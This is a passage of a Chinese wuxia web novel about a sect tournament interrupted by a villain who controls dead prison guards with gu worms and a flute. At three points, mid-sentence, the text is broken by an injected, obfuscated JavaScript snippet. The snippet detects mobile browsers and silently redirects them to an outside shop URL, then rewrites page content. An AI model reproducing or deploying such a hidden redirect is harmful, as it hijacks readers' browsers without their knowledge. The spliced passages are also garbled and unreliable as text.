铎占文内心慌乱烦躁,呼叱一声,木刀挥动,赫然使出了师父只传了他一人的刀法。 上场前,他还打算不使这套刀法就赢得比试。 铎占文将刀法一招招使出来,却也并没有如他设想的一般让局势反转。 雨馀凉虽然情绪不高,当下很回避与大较相关的事,下午到较武场来也只是为了躲避那疤脸汉子,对比武没有丝毫兴趣和期待。但看到铎占文使出那套师父只传了他一人的刀法,也不禁被吸引。看了一会,心中涌起一阵羡慕,不知不觉间全副心思都落在仔细观察铎占文的一招一式上。 鲍楚楚的出招并不咄咄逼人,远不如铎占文那般凌厉。但无论铎占文如何出招变招,都被鲍楚楚四两拨千斤地化解。 她会的刀法没有铎占文那么多,却将铎占文更复杂、号称威力更大的刀法招式一一挡回。 鲍楚楚蓦地大喝一声,在场众人只听见乓的一声响,再看比武台上,只见铎占文手中的木刀已从中间断开,他手里握着半截,另外半截高高飞向半空,落在铎占文身后的台子上,落地后还兀自弹了几下,才最终停止不动。 铎占文还维持着持刀的姿势,一动不动。 按照大较的规则,若木刀被损毁,就算是输了。这也是考察弟子的内力,比斗时,将内力灌注在木刀上,木刀也不会那么容易折断。 鲍楚楚右手倒提木剑,向铎占文抱拳行礼道:“铎师兄,承让。”表情依旧肃然。 谷州刀派的大较虽然拳脚刀法都要比试,但毕竟是“刀派”,所以刀法比试占的权重更大,更何况先前拳脚比试时铎占文只是险胜鲍楚楚,所以在师父辜俊愿和各位师伯师叔的商议下,一致决定鲍楚楚为今年大较优胜。 看台上鼓起掌来,无论是谷州刀派的师生,还是每年都来观看大较的人,都大感意外。他们本以为今年的优胜依然会是铎占文。 如潮掌声中,精瘦招风耳弟子站起来大声道:“楚楚!太厉害了!” 铎占文没想到自己不仅被逼得使出师父只传了他一人的刀法,而且用出了这套刀法也还是输给了鲍楚楚。 他大感面上无光,脸上红一阵白一阵,站在台上如石化了一般。 突然,人群之中骚动起来。 坐在看台上邻近较武场出入口的人都不约而同地看向了同一个方向,有的人甚至不由自主地站了起来。看台上其他位置的人见状,也往那个方向望去。但被前面的人挡住,很难看到什么。 雨馀凉和古叶千刚好坐在较武场出入口处,雨馀凉从座位上缓缓站起,目不转睛地盯着这群浑身是血的来客。古叶千本来就站着,他看着这群人,双手慢慢将小说合上。 一名穿着雪青色衣衫的妇人闯进了较武场,这妇人正是郑宝卿。只见她发髻散乱,雪白的脸上溅满了黑红色的血,大声道:“唐奕才,别再看大较了!” 8. 大较(六) 唐奕才这一惊非同小可,从椅子上站起,一个起落就落在了郑宝卿身旁,急问:“怎么回事?发生什么了?”一直随从在他身后的一男一女也急忙跟过去。观武台上,只留下赵恬和辜俊愿以及谷州刀派的列位师伯师叔们面面相觑。 郑宝卿闯入谷州刀派的大较现场,满身满脸的血污。身后的弟子个个衣服上都溅了血,还有一个弟子被同门搀扶着,只见他一只腿的膝盖之下空空荡荡,膝盖处包了厚厚几层绷带,白色的绷带大部分也被血染成了红色。 郑宝卿对唐奕才道:“九寒山牢出事了。” 比武台离郑宝卿所站的位置较远,鲍楚楚隐隐约约听到“九寒”两个字,朝郑宝卿的方向站直了身子,左脚不由自主地向侧边踏出一步。 唐奕才道:“怎么?” 郑宝卿道:“里面的狱卒似乎被下了蛊,全都失去了意识并袭击我们。” 唐奕才道:“他们很强么?你们怎么这么……”他本想说“狼狈”,但郑宝卿极爱面子,“狼狈”二字还是没说出口。 郑宝卿眉头皱起,道:“强什么?他们是杀不死,除非刺中心脏,不管受多重的伤都能继续活动。” 唐奕才道:“那他们现在在哪?” 郑宝卿道:“我带着弟子们且战且走,临近谷州府的时候我还犹豫了一下要不要进城,担心他们攻击城里的人,结果忽然响起一阵笛声,他们就全部退去了,于是我便径直来到谷州刀派找你。” 看台上的人或相互之间交头接耳,或伸长了脖子看着唐郑二人在底下说话,但隔得远,这些人并不知道他们在说什么。 赵恬站在观武台上看了一会,觉得自己还是有必要主动去和郑宝卿问个好。本来他们之前收到的信上就说琥沙派的唐掌门和重云门的郑门主都要来,结果不知道为什么最后只来了唐奕才,问了之后说是郑宝卿在其他地方办别的事。 赵恬整整自己的衣领冠帽,让辜俊愿和另一名与辜俊愿同辈的门人跟着自己,朝郑唐二人走去。 唐奕才道:“如此看来,得赶紧从最近的分盟调派人手先去看住九寒山牢,同时马上告知盟主。我先去跟谷州刀派这边打声招呼,说我们马上要走。” 通过这两天大较,唐奕才已经清楚,谷州刀派的水平差得太远了,并不足以去看守九寒山牢。而九寒山牢里面关的都是危险人物,不可无人看守。何况,狱卒中了蛊毒,不知道里面关押的犯人有没有被下蛊? 眼下棘手的事还不止一件,驻守得离谷州最近的分盟都在数百里外的陵平,除此之外谷州府附近一个靠得住的门派都没有。 从这去到陵平,以轻功赶路都至少要三四天。唐奕才和郑宝卿此次出来带的人太少,唐奕才只带了一个随从男弟子黄开秋,另一个女弟子陆临也是重云门门下,是郑宝卿让她跟唐奕才过来看谷州刀派的武功水平的。毕竟谁都没想到,九寒山牢竟会刚好在他们来的时候发生这么大的祸事。郑宝卿手下弟子还受了伤,只能走一步看一步了。 郑宝卿以手遮脸,狂躁道:“哎呀,你们怎么一个二个都这么婆婆妈妈?都这时候了还打什么招呼,赶紧走!路上我再跟你说具体的情况。” 此时赵恬刚好过来,对郑宝卿拱手行礼道:“郑门主,谷州刀派赵恬有礼了。” 郑宝卿继续对唐奕才道:“我这边有个弟子伤得很严重,得先让他们回去。”又叫:“陆临,你护送师弟妹们回去,回临蓟。”竟似丝毫没察觉到赵恬一般。 唐奕才正准备说些什么化解赵恬的尴尬,后者见自己被无视,与身后的辜俊愿及另一名谷州刀派门人呆立在原地。忽然之间,一阵轻笑传来。 这阵笑声似远似近,又似乎从四面八方传来,就跟前天九寒山牢外响起的那阵笛音如出一辙。 郑宝卿心头大震,忙向四周张望。 一个年轻优雅的男声道:“郑门主,唐掌门,在下有礼了。” 这声音倒不像方才的笑声那般方位莫辨,众人向声音传来的方向望去。只见教武场中的阁楼屋檐顶上,赫然站着一名紫衣男子,这男子不算高大却也不矮,体型适中,面容气质皆儒雅蕴藉。乍一看似乎年纪尚轻,但仔细瞧他容貌,应当已三十好几了,跟他的嗓音极是不符。 郑宝卿喝问道:“你是谁?九寒山牢的事,是你搞的鬼,是不是?” 听清楚了“九寒山牢”几个字,鲍楚楚上前两步,嘴巴张了张,一双眼在郑宝卿和那紫衣男子之间来回逡巡。 紫衣男子笑道:“在下夏篁。九寒山牢,确是在下的杰作。” 郑宝卿道:“背后吹笛的也是你?” 夏篁呵呵笑了,点点头:“正是在下。” 郑宝卿刷的一声拔出背上宝剑,道:“那你今日就别想走了!”说着便飞身上了阁楼楼顶,与夏篁交上了手。 先前郑宝卿要同时对付数十名狱卒,一边还要看顾徒弟们,尽管那些狱卒单独拎出来都不是她的对手,也难免左支右绌。此时只有夏篁一个人,郑宝卿刚好满腔憋怒无处发泄,她要先活捉了这个夏篁,再对其慢慢审问。 郑宝卿拔剑、跳上阁楼、出剑一气呵成,在场之人除重云门和琥沙派诸人外,都感大开眼界。而郑宝卿和夏篁只交换过两三招后就暗暗心惊,这人手爪子竟然极硬,自己一时半会怕是拿他不下。偏偏她不仅受了伤,还两天两夜几乎没合过眼,从九寒山牢到谷州府的一路上都在和狱卒们交手,到了谷州府又马不停蹄地来到谷州刀派找唐奕才,半刻也不曾歇息,确实已经很是疲惫。打了一会,便感到有些力不从心。但郑宝卿性子要强,不愿当着这么多人的面叫其他人上来帮忙,只是咬牙硬撑。 唐奕才突然喝道:“郑门主,退下!”郑宝卿见唐奕才主动前来,也就顺势退后。刚好夏篁一爪抓来,唐奕才以手臂击打夏篁手腕,夏篁手臂被打得向上抬起,冷笑道:“车轮战么?”也迅速变招,和唐奕才打得有来有回。 看台的某处角落,河伯向山鬼笑道:“这不比大较好看?” 山鬼道:“谁说下午就不来了来着?” 河伯道:“行了下次听你的,没想到不务正业反而有意外收获。” 上午在谷州刀派,河伯在人群中看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717283|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了那疤脸汉子,奈何被人群所阻没能跟上。中午吃饭时,山鬼说下午还要来谷州刀派看看,河伯一开始说你那小兄弟下午又不比了,还来做什么?劝山鬼下午好好准备收拾,明天一早出发回水西。之后转念一想,不知那疤脸汉子下午还会不会再去谷州刀派,索性又答应了山鬼。虽然眼下没发现疤脸汉子的身影,然而之前在九寒山牢以笛音驱蛊的人却现了身,于是二人留在原地观察情况。 只见那头唐奕才和夏篁打着打着飞下了屋顶,来到较武场中。二人皆未使兵器,以空手对打。忽然之间,唐奕才一声清啸,手掌上爆发出一股猛烈的气流,随着掌势击出。夏篁赶忙交叉双臂挡在自己面前,仍被逼得向后滑出一丈来远才停下,定了定神才抬起头道:“琥沙派琥沙功果然名不虚传。”蓦地长袖一抖,一把通体黑紫色的细剑已落在手中。那剑比之寻常的剑,剑身细窄,看上去极是锋利,长度也没普通的剑长。整把剑没有剑镡,就像用一整块黑紫色的水晶雕成。 一名弟子眼尖,道:“又是一把真家伙!” 谷州刀派的弟子除了在兵器铺里看看,平时几乎接触不到真刀真剑,因此每看到一把真正的兵刃,都感到既兴奋向往,又隐隐有些害怕。 一旁郑宝卿叫道:“唐掌门,接着!”唐奕才伸手接住郑宝卿扔来的东西,拿在手中一看,原来是郑宝卿自己的佩剑。 唐奕才和夏篁各自手持兵刃,站在原地定定看着对方。突然同时纵跃而起,一时间,众人只见道道白色和黑紫色的光交错杂糅,同时金属相击的声音当当当响个不停。正当人们看得眼花缭乱时,二人同时后跃数丈,又飞身上前,只见唐奕才和夏篁都已剑尖对准了对方,剑刃破风发出一阵尖锐的啸叫。郑宝卿看出,这一下过去,必有一人受伤甚至丧命,不由得心中紧张起来。 这个时候,唐奕才和夏篁对冲的势头已经不是他们自己能控制的了,就算是会武功的人,也不敢贸然去到他们附近,因为只要稍有不慎就会被卷入其中。 突然,有什么东西从看台上滚落了下来,刚好落在唐奕才和夏篁之间。伴随着人们的一声声惊叫,郑宝卿才看清那不是什么东西,而是一个人。 这人正是雨馀凉。 雨馀凉本站在看台上,不知道眼下发生了什么事,只知道突然冒出了许多不认识的人,二话不说就打了起来。可突然之间,他被什么东西在背上大力一推,雨馀凉重心不稳,直接从看台上摔了下去。稍微懂一点武功的人都明白,雨馀凉这下非死即残。死都是最好的结果,因为这种情况导致的残废,会让人觉得生不如死,余生都在凄惨中度过。 在此起彼伏的尖叫声中,眼看惨剧就要发生。倏忽间又一道人影闪入了唐奕才和夏篁之间。 唐奕才先是眼前一花,接着感到右手一酸,等他反应过来时,手中的剑已被夺去。疤脸汉子夺剑后转身,众人只听见“当”的一声响,夏篁手中的那柄黑紫短剑已被击飞。 短剑在空中兀自旋转一阵,最后啪的一声落在数丈之外的地上,剑尖刺入地上铺的石板,只余一半剑刃和剑柄还留在外面。 9. 大较(七) 谷州府地处群山之中,在来到谷州之前,木姜接连翻过了好几座山。等远远望见谷州府的城墙时,他心想,终于到有人烟的地方了。 到谷州府后,木姜找了一家饭馆,一边埋头吃面一边听邻桌的人闲聊,这才知道这里有个谷州刀派,近日要进行春日大较。只听得一人说“又有好戏可看了”,同时另一人脸上露出期待的神色。 木姜平生有两个最大的爱好,一是吃他爱吃的食物,另一个便是观摩各门各派五花八门的武功招式,虽然近年来他对第二个爱好的兴趣淡了不少,但长久以来的惯性仍让他内心有一瞬的雀跃。 而且这门派刚好又是一个“刀派”。木姜看了看自己靠在桌边的长刀,心里有些痒痒的。 一番犹豫后,木姜还是打听了地方,朝谷州刀派武场这边而来。 谷州刀派并不出名,较武场倒是修得气派。并且,来看大较的人比木姜想的要多很多。 木姜看了一阵,便觉谷州刀派的刀法十分平庸。偶有一两招看上去倒是能唬住人,但空有架势,内里空洞,并无多少意思。 大较没什么可看的,木姜便在谷州府的街道上闲逛,结果突然被一个陌生汉子扯住,上来就说要找自己报六年前断臂之仇。 …… 啊? 啊啊啊? 木姜心说不是,哥们。 我完全不认识你唉。 木姜努力搜索记忆,回想六年前自己惹上的人,惹上自己的人,这样的人很多,可没有一个是长成这位大哥这样啊! 但其实木姜自己也不能确定,因为他跟人放对,向来都只注意对方出招,至于对方的脸,他几乎不怎么看。所以跟人动过手却对对方没有印象,这种可能也是存在的。 不过还有一种可能,这汉子是自己现在这副皮囊结下的仇人。 如果是这样的话那就有点难说清了。 那个汉子又说:“我知道你是水西来的。你来水南干什么?” 木姜心里咯噔一下。 那汉子说中了,他确实是从水西来的。只是他来水南的目的,任何人都不能知道。 好在最后那汉子也放弃了纠缠,不过看样子,那汉子之后是会来找自己“复仇”的。 木姜叹了口气,真是人在街上走,锅从天上来。不过江湖嘛,就是这样不是吗。 虽然谷州刀派的大较比武让木姜提不起兴趣,但木姜还是抱着来都来了干脆看到最后的想法,在大较第三天依旧来到谷州刀派,没想到在大较最后一天,他还真有意外收获。 木姜对各门各派的武功招式有一种近乎病态的狂热,只是这次的收获,跟招式有关,亦无关。 等到那名叫做雨馀凉的弟子上场比试时,木姜其实正起身准备走人。结果在起身前,刚好看到他拆解谢岚星使出的那招斩云诀,木姜一怔,头略微抬了抬。 之后看到的便是雨馀凉摔下比武台并吊在台子边缘的场景了。 木姜所坐的位置离观武台很近,而此时雨馀凉的师父辜俊愿也在观武台上,在这一幕后,木姜听到辜俊愿无不厌弃的一句话传来:“天生愚笨,让人看了便讨厌。” 木姜暗暗叹了口气。 人一笨,就会很可怜,也会招人讨厌,但人是聪明还是愚笨,并不是自己能决定的。 造化总是弄人,轻易把人分成幸与不幸。 这之后木姜去了谷州刀派藏书阁,又跟随雨馀凉一直到他家中,木姜所做的这一切,都是为了知道雨馀凉拆解谢岚星的那一招是从哪里学来的。这少年看着又软又傻,却还挺警惕,木姜问了一大阵,什么有效的信息都没撬出来,恰好这时又有人来,只得暂时离开。 没关系,慢慢来。何况,这名叫做雨馀凉的少年倒不一定知道什么,自己真正该找的人,应当是管理谷州刀派藏书阁的雨姓老者,那个叫做雨休的人。 于是他虽表面离开,却在在暗处注意着雨馀凉的动向,下午也跟着雨馀凉又来到了谷州刀派。 不想之后突发异变,琥沙派和重云门的掌门跟一个不知从哪冒出来的人直接动起了手。 谁知道是因为什么原因,纷争不休,这就是江湖。 这些事情,跟他无关啊,他只需把注意放在雨馀凉身上就好。 木姜一边这样想着,一边往雨馀凉所在的方向看去,却见那名叫做的谢岚星的弟子不知什么时候站到了雨馀凉身后,突然伸出双手猛力一推。 什么仇什么怨? 多么直白幼稚,多么恶毒。 木姜先是一惊,随后一边感慨,一边飞身跃下了看台。 唐奕才和夏篁同时使出杀招向对方攻去,雨馀凉出现在中间时,他们已来不及收势。木姜见这阵仗,一开始本想挟着雨馀凉就走,躲开了事。却发现在自己右手边的唐奕才见雨馀凉出现,有意收功,左边夏篁却丝毫没有收招的意思,径直冲来。若她闪开,右边那位就算不死,也要么脏器俱损,要么筋脉寸断。 一瞬之间,两人都已来到木姜跟前,距他只有几尺远了,四周的惊叫声兀自响个不停。 木姜心念电转,左手手肘往唐奕才右腕上一撞,唐奕才登时感到右手一酸,不知怎的剑就脱了手。木姜接剑,转身向夏篁削去,夏篁的短剑也脱手飞出。 看台上哗声一片,万分危急的形势,就这样被化解了。 木姜站直了身子,转身将剑双手捧上,交还给唐奕才。唐奕才怔愣在原地,疤脸汉子木姜将剑捧在他面前良久才如梦初醒般接过。他这才看清眼前化解了这场危机的疤脸汉子的容貌,又见木姜背上交叉背着一柄长刀和用长条形布袋裹着的东西,唐奕才久在江湖,知道布袋里应当是另一把兵器。正思索间,木姜已把背上的长刀取了下来,握在了左手。只见木姜上前几步,右手抓住雨馀凉手臂,将后者拉起。 夏篁心中也惊疑不定,当他看见木姜拿剑来对付自己时,立即将更多内力聚集在右手上,随着剑势呼啸而出。心道木姜无论如何也挡不下这一击,他这饱含内力的一剑,不仅能直接斩断或弹飞木姜手中的剑,还能接着一剑贯穿木姜和唐奕才两个人。 可木姜却没有直接以剑和他的剑相碰,而是手腕一斜,剑刃倒削他右肩。这样一来,就避开了他内力的锋芒,而夏篁若不立即回剑封挡,整条胳膊都要被削下来。因此他无法,只得右臂向后一收,这一收,剑身上附着的大部分内力也收回去了。木姜正是看准这一时机,一击将他的短剑挑飞。 夏篁看得仔细,木姜击飞自己的剑,并不是倚靠多么深厚的内力,而是先逼自己收回内力,再趁机出手,否则自己的兵器怎么会这么轻易就被挑飞? 木姜将他的剑击飞时并没有运使太多内力,否则他此刻已是虎口迸裂,鲜血满手了。饶是如此,夏篁也感到自己的右臂一阵阵发麻。 郑宝卿与唐奕才的大弟子兼副手黄开秋低声商议一阵后,郑宝卿越众而出,走到唐奕才身边,向疤脸汉子施了一礼,道:“不知有高人在此,实在失敬,就请高人与我们一同御敌,退敌后好随我们去盟主大人那领功领赏。” 木姜并不回答,郑宝卿面上随后就有些讪讪的。 夏篁盯着木姜道:“你又是谁?你是为了救那个小孩,还是跟重云门琥沙派是一伙的?” 木姜道:“这个小孩现在还不能死。” 夏篁道:“这么说你只是为了救那小孩。好,那现在其他的事你就别管了。”他话音还未落,身形就已飘出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717284|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先在十几步外拔出了刺入石板的短剑,再纵身跃起,又回到了阁楼屋顶上,整个过程行云流水。 只见夏篁将短剑收入袖中,又从怀里掏出一只短笛,凑到嘴边吹奏一阵后,忽然有二十多条人影从阁楼后面爬了上来。 他们衣衫破碎,满身血污血洞。虽然拥有人形,但爬上来的动作实在不像是人。 鲍楚楚看清站在屋檐上的人,突然全身剧烈颤抖,激动起来,大叫道:“爹!爹!!” 鲍楚楚早就在期待这次大较,这半年来她苦练武功,甚至还根据师父传授的招式悟出了新的出招方式,从她悟出新招的那天开始,就想着要在这次大较上震惊全场。是以这半年来她从没在任何人面前演练过这几招,就是跟父亲鲍钟切磋也没有展露,为的就是给自己父亲一个惊喜。得知春日大较提前,正中她下怀,哪知鲍钟却说自己在她比武那几天有事。 数日前,她还在为鲍钟不能来看自己大较比武而闹脾气,鲍钟跟她解释说在大较那几天刚好有重要人物来九寒山牢,实在抽不开身。鲍钟临走前送了她一个小荷包,也被她扔在了地上,连奶奶也没劝住。她脾气大,每次生气都要好久,那荷包现在还在饭桌旁的椅子下面没有捡起。 先前鲍楚楚隐隐约约听到九寒山牢出事了,心里先是一沉,但马上又安慰自己爹不会有事的。监牢出事,不是犯人越狱就是有人劫狱,爹武功高强,就算有人越狱劫狱,爹也不会有事。 以前,鲍钟每次从九寒山牢休沐回来都要来门派接她,每一次鲍钟在谷州刀派大门口见到她,都会满面笑容地上前,将一包她最爱吃的绿豆饼放在她手里。 然而现在鲍钟就站在那里,双眼无神,对鲍楚楚的叫喊也没有任何反应。 郑宝卿哼了一声,抬头道:“被我们杀死不少,现在只剩这么些了啊?没能在我来谷州刀派的路上杀了我,你是不是觉得很遗憾?” 夏篁道:“我可没指望靠他们就能拿下郑门主您。本来我们的想法是用蛊虫来控制人,让宿主能够把生前的武功完美地使出来,成为又强大、又听话的人形兵器。”他叹了口气:“只不过失败了,宿主生前的武功使不出来,成了只依靠本能乱扑乱撕乱咬的活死人。只有在笛音的驱使下,才能暂时发挥出接近生前的水平。” “生前”两个字刺激了鲍楚楚的神经,她大叫道:“生前,生前?你的意思是,他们……已经,已经死了吗?” 夏篁微微一笑:“是呀妹妹。” 鲍楚楚觉得自己心中有什么东西轰的一声倒塌了,她双腿阵阵发软,手臂酸麻难当,调动了极大的毅力才没有让自己当场坐倒在地。鲍楚楚直直地盯着屋檐上的夏篁,继续问道:“什么意思?我的意思是,他们是不是跟坟墓里的死人没有区别了?你没有理解我的意思,他们明明还能站着,他们没有死!”虽然极力维持着冷静,但她没有意识到,自己方才那段话已经有些语无伦次,巍巍颤意更是止不住地从字里行间中抖落出来。 雨馀凉从鲍楚楚的话音中都能感受到,她心中的那根弦已经处于崩断的前夕。 夏篁道:“活的不是他们,是蛊虫。他们只是为蛊虫提供养料罢了,一旦蛊虫把他们体内的脏器啃噬殆尽,蛊虫就会破皮而出,另寻适宜的居处。而在蛊虫寄宿在他们体内期间,我就可以像刚才那样以笛音驱使他们的尸体。” 鲍楚楚彻底崩溃了,道:“不,不!你是在胡说,你在骗我,他们没死,他们没死!!!”她一边说,脸上涕泗横流,双手扯着自己的头发,形迹近乎癫狂。 夏篁不再理会她,转过头去继续对郑宝卿等人道:“二位掌门,我今天出现在这里,除了试验蛊虫的效果,还有一个目的,就是要二位把性命也交代在这。” 10. 终到头来事事休(一) 听夏篁这么说,郑宝卿却吃吃笑起来,道:“我的命也是你这种鼠辈能取走的?” 唐奕才道:“不要大意,他能说出这种话,一定是做了充分的准备。” 郑宝卿啧了一声,道:“我就看不惯你这个样子,为什么你总是长他人志气灭自己威风?打就打谁怕谁?赶紧抄家伙!” 唐奕才双手一摊。 郑宝卿怒道:“所以我最烦你这种散漫的样子,以为这次出来轻松,剑也不带!陆临,把马明珪的剑拿给唐掌门!” 那名叫做陆临的重云门女弟子应了,她从断了一条小腿的师弟背上取下剑,连剑鞘一同交给了唐奕才。 黄开秋小心翼翼道:“郑师叔,可不可以再借一把剑?” 郑宝卿简直要抓狂,用手遮脸仰天长叹后以一种哀其不幸恨其不争的语气道:“你跟你师父有样学样是吧?唐奕才你整个门派都是这样吗?你们门派废了我跟你说!” 一名重云门弟子将自己的剑递出来,道:“黄师兄,剑。” 黄开秋接过剑,道:“多谢师弟。” 陆临也拔出背上的剑,摆好了对敌的架势。 此刻场上便是郑宝卿,唐奕才,黄开秋,陆临四人执剑临敌。其他重云门弟子都背靠背站成一团,他们清楚这不是他们能参与的战斗,他们要做的,不是主动进攻,而是相互保护照应,不给师父师伯和师兄师姐添乱。 重云门和琥沙派都是以剑法闻名江湖的大派,看台上河伯以手支颐道:“这下有的看了。” 而看台上其他人也已听得清楚,这是夏篁和重云门及琥沙派之间的恩怨,不与他人相干,也就都不掺和,同时放心大胆地看戏。 郑宝卿对其他三人道:“这些中了毒蛊的狱卒,须得破坏他们的心脏,才能使他们完全丧失行动能力。还有,千万不要被咬了,一旦被咬,就会变得跟他们一样。”之前她本以为这些狱卒的要害跟活人一样,结果之后经笛声一催使,那些被刺穿喉咙的狱卒又歪歪扭扭爬了起来,就是被砍下来的头颅,也是一有东西凑到自己嘴边就咬,没东西咬的时候牙齿便上下相击,发出咔咔的声响。只有那些被刺中心脏的狱卒,才跟真的死了一样,就算在笛音的驱使下也不再动弹。这是她被追杀了一路总结出的经验。 另外,先前砍去马明珪小腿的时候,郑宝卿还不能确定蛊毒是否会通过被咬伤这条途径传染,毕竟狱卒身上的蛊毒应该是一开始就下在他们身上的。直到她带着弟子们且战且走的途中,一个农夫运气不好,刚从田里上来就撞上这群狱卒,被结结实实地咬了一口。郑宝卿亲眼看到那农夫一开始尚还正常,之后逐渐异变,最终成了跟狱卒一样的怪物,也一路追着重云门诸人又撕又咬。她由此确定了这种蛊毒一沾伤口即刻流入体内,一旦被咬,神仙难救。 一声高亢的笛音过后,狱卒便嘶吼着向他们疾奔而去,夏篁也穿插在这些狱卒之间冲向他们。 重云门和琥沙派师徒四人率先对上的是狱卒们。夏篁带到这里来的狱卒一共有二十四名,郑宝卿和唐奕才各对付八个,有三个盯上了黄开秋,另有五个则将陆临团团围住。他们四人挡在重云门众弟子之前,倒没有让一名狱卒去攻击那些少年弟子。 夏篁一剑刺出,剑尖直指陆临。一旁唐奕才余光瞥见,心想不好,夏篁这是打算逐个击破,先挑一个软柿子捏。这名叫陆临的女弟子虽然是重云门年轻一辈弟子中的佼佼者,但围攻她的狱卒数量较多,再加上夏篁从旁夹击,眼下的情形,到底不是年轻弟子能应付的。再看郑宝卿和黄开秋离得较远,且都专心应付眼前的敌人,浑没注意陆临这边的情况。唐奕才身为前辈,又是大派掌门,自然应当承担起保护后辈的责任。他急欲脱身去帮助陆临,以免她伤了性命,奈何自己跟前的敌人实在太多,才刚击退一个狱卒,让包围圈出现一个缺口,他正要从这缺口冲出,又立即有另一个狱卒补上,硬生生将他逼了回去。 唐奕才心内正焦急时,忽然闻得一声呼喝,只见陆临纵身跃起,躲开三名狱卒从前、左、斜右后方同时向她刺去的阔剑、鬼头刀以及钢锥,然后在空中轻轻巧巧地倒转过身子,剑尖朝下,直指夏篁头顶。夏篁立刻变招,短剑向上斜劈,陆临伸脚踏上短剑无刃的侧面,借他斜劈之势,稳稳落在了夏篁身后,而那五名先前围攻她的狱卒都尚在夏篁身前。 这下移形换位好不灵巧潇洒,四两拨千斤一般就将极凶险危急的形势化解了去。 这时看台上才有人仔细瞧这名叫做陆临的女弟子。 陆临看上去二十岁左右,面容算得上是清丽,却体态偏胖,衣着朴素,且衣裳看上去有些陈旧了。一头长发随意在脑后扎了个马尾,再无其他装饰。众人都觉得她若是瘦些,再打扮打扮,会是个美人。如今见她轻轻松松地就化险为夷,丝毫不见狼狈,举手投足间气度绝佳,众人看了都先是一惊,随即在心中连连叫好,只觉她动作赏心悦目,再也无人去注意她的外貌。 唐奕才看到陆临这般不俗的表现,内心大感意外,却还是对黄开秋叫道:“开秋,注意照看师妹。” 重云门和琥沙派到底是水南的名门大派,实力确实不容小觑,不一会,就有好几个狱卒被刺中心脏,倒在地上一动不动了。 眼见狱卒一个个倒下,局面很快就要演变成对方四人一同来围攻自己,夏篁心里也有些着急了。先前他跟唐奕才单打独斗不分上下,这之后四人联手来对付自己,哪有胜算?若按照现在的形势发展下去,别说除掉郑唐二人了,搞不好自己反而要交代在这。就算侥幸逃了,回去跟那姓寇的说自己没能按既定计划把事办好,谁知道自己会是什么下场? 先前在九寒山牢附近的空地时,狱卒们身上的蛊虫不知为何没能发挥作用,他以笛音驱使蛊虫,蛊虫才有了响应。之后他躲在暗处驱策狱卒追击郑宝卿及重云门弟子,那个时候为了观察蛊毒在狱卒身上的效用,没有及时除掉郑宝卿,如今想来真是失策。 现在夏篁虽想先从陆临下手,但陆临并不与他正面交锋,他是怎么也摸不到陆临一下。此女身法灵活,辗转在狱卒之间,利用狱卒的身体挡住夏篁的攻击。陆临躲闪之时,还总是冷不丁地向他刺过来一两剑。不仅如此,在这个过程中,陆临还杀了一名狱卒。 小看了这群人。 夏篁看向四周,忽然间计上心头。左手将短笛凑到嘴边,吹出一段七拐八弯的旋律。 陆临只看见几个正在围攻自己的狱卒忽然干脆利落地调转了方向,头也不回地往远处奔去。她还没反应过来发生了什么,夏篁便一剑朝她面上劈至,道:“现在你还往哪儿躲?” 陆临啧了一声,提剑格住,紧接着手腕一转,剑尖刺向夏篁面门,二人就这样过起招来。 陆临虽是重云门年轻一辈弟子,平常更多时候是待在门派中,临敌实战的次数并不多,可面对江湖经验老道的强敌却丝毫没有怯意,一招一式依依使出,分毫不乱。 但夏篁到底是有能压制住受伤的郑宝卿的水平,又能和唐奕才打得不相上下。陆临再怎么厉害,也还是初出茅庐的愣头青,她先前利用身法灵活的优势躲开夏篁的短剑,现在与夏篁正面交手,不一会就感到吃力,显出颓势来。 好在此时黄开秋已将围住他的三名狱卒一一解决,迅速赶往陆临这边,与陆临双斗夏篁。 就在此时,陆临与黄开秋听见看台那边传来数声惨叫与惊呼,二人想侧过头去看发生了什么,然而夏篁招招进逼,使他们并无余裕东张西望。忽听得唐奕才的声音传来:“你……好生卑鄙!” 话音刚落,一道人影闪进陆临和黄开秋视线中,原来唐奕才已纵身跃至夏篁和他们之间。唐奕才架开夏篁削来的一剑,对陆临和黄开秋道:“快去阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717285|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止那些狱卒,别让他们再咬伤更多的人!” 陆黄二人俱是一惊,原来方才夏篁驱走围攻陆临的狱卒,除了要让陆临无处可避外,另一个用意竟是让那些狱卒咬伤看台上毫不相干之人,进而制造出更多的蛊毒傀儡。 看台之上,众人这才意识到这个热闹不是白看的,人们惊惧之下相互推搡,四处奔逃。早已有几人被咬,不多时,这些被咬的人也发起狂来,向周围其他人扑去。 